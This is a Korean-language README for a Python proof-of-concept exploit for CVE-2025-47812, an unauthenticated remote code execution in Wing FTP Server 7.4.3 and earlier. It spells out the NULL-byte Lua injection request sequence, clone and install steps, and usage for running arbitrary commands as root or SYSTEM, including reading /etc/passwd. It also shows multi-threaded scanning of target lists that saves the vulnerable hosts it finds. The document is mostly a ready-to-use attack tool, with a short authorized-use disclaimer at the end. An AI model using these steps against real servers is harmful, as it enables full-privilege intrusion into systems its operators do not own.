
CVE-2025-47812에 대한 Python PoC, Wing FTP Server <= 7.4.3에서 세션 파일에 NULL 바이트 Lua 주입을 통한 인증되지 않은 RCE
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ / /_/___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
CVE-2025-47812에 대한 개념 증명 익스플로잇입니다. Wing FTP Server 7.4.4 이전 버전에서 인증 없이 원격 코드 실행이 가능한 취약점입니다.
| 항목 | 내용 |
|---|---|
| CVE | CVE-2025-47812 |
| 영향받는 버전 | Wing FTP Server <= 7.4.3 |
| 유형 | 인증 없이 원격 코드 실행 |
| 권한 | root (Linux) / SYSTEM (Windows) |
| 공급업체 | wftpserver.com |
| 원저자 | Sheikh Mohammad Hasan aka 4m3rr0r |
| 수정자 | d3vn0mi |
Wing FTP Server의 c_CheckUser() 함수는 인증을 위해 NULL 바이트(%00)에서 사용자 이름을 자르지만 완전히 검증되지 않은 사용자 이름 — NULL 바이트 이후의 모든 내용 — 이 Lua 세션 파일에 기록됩니다. /dir.html과 같은 인증된 엔드포인트에 접근하면 서버가 해당 세션 파일을 실행하여 주입된 Lua 코드가 상승된 권한으로 트리거됩니다.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. 서버는 "anonymous"를 인증하지만(NULL에서 잘림)
전체 페이로드가 세션 파일에 기록됨 → UID 쿠키 반환
3. GET /dir.html (Cookie: UID=<extracted_uid>)
서버가 세션 파일 로드 → 주입된 Lua 실행 → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL 단일 대상 URL (예: http://192.168.134.130)
-f, --file FILE 대상 URL이 포함된 파일 (한 줄에 하나, # 주석 허용)
exploit options:
-c, --command COMMAND 원격 서버에서 실행할 명령어 (상세 출력 활성화)
-U, --username USERNAME 익스플로잇 페이로드의 사용자 이름 (기본값: anonymous)
-P, --password PASSWORD 익스플로잇 페이로드의 비밀번호 (기본값: 빈 문자열)
output:
-v, --verbose 상세/디버그 로깅 활성화
-o, --output OUTPUT 취약한 URL을 이 파일에 저장
-l, --log-file LOG_FILE 상세 로그를 이 파일에 기록
network:
-t, --threads THREADS 다중 대상 스캔 시 동시 스레드 수 (기본값: 1)
--timeout TIMEOUT HTTP 요청 타임아웃 (초 단위, 기본값: 15)
--retries RETRIES 연결 실패 시 재시도 횟수 (기본값: 2)
--no-verify SSL 인증서 검증 비활성화
# 단일 대상 확인
python3 exploit.py -u http://192.168.1.10
# 'whoami' 실행 및 전체 출력 확인
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# 8개 스레드로 목록 스캔, 모든 내용을 파일에 기록
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# SSL 검증 비활성화하고 사용자 지정 자격 증명 사용
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# 디버깅을 위한 상세 모드
python3 exploit.py -u http://192.168.1.10 -v
--log-file을 통한 파일 로깅 옵션-t로 병렬 스캔--retries)--no-verify# 주석 및 자동 중복 제거 지원-c는 명령어 전체 출력 표시이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하고 있거나 명시적인 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 무단 접근하는 것은 불법입니다. 저자는 이 도구의 오용이나 피해에 대해 책임을 지지 않습니다.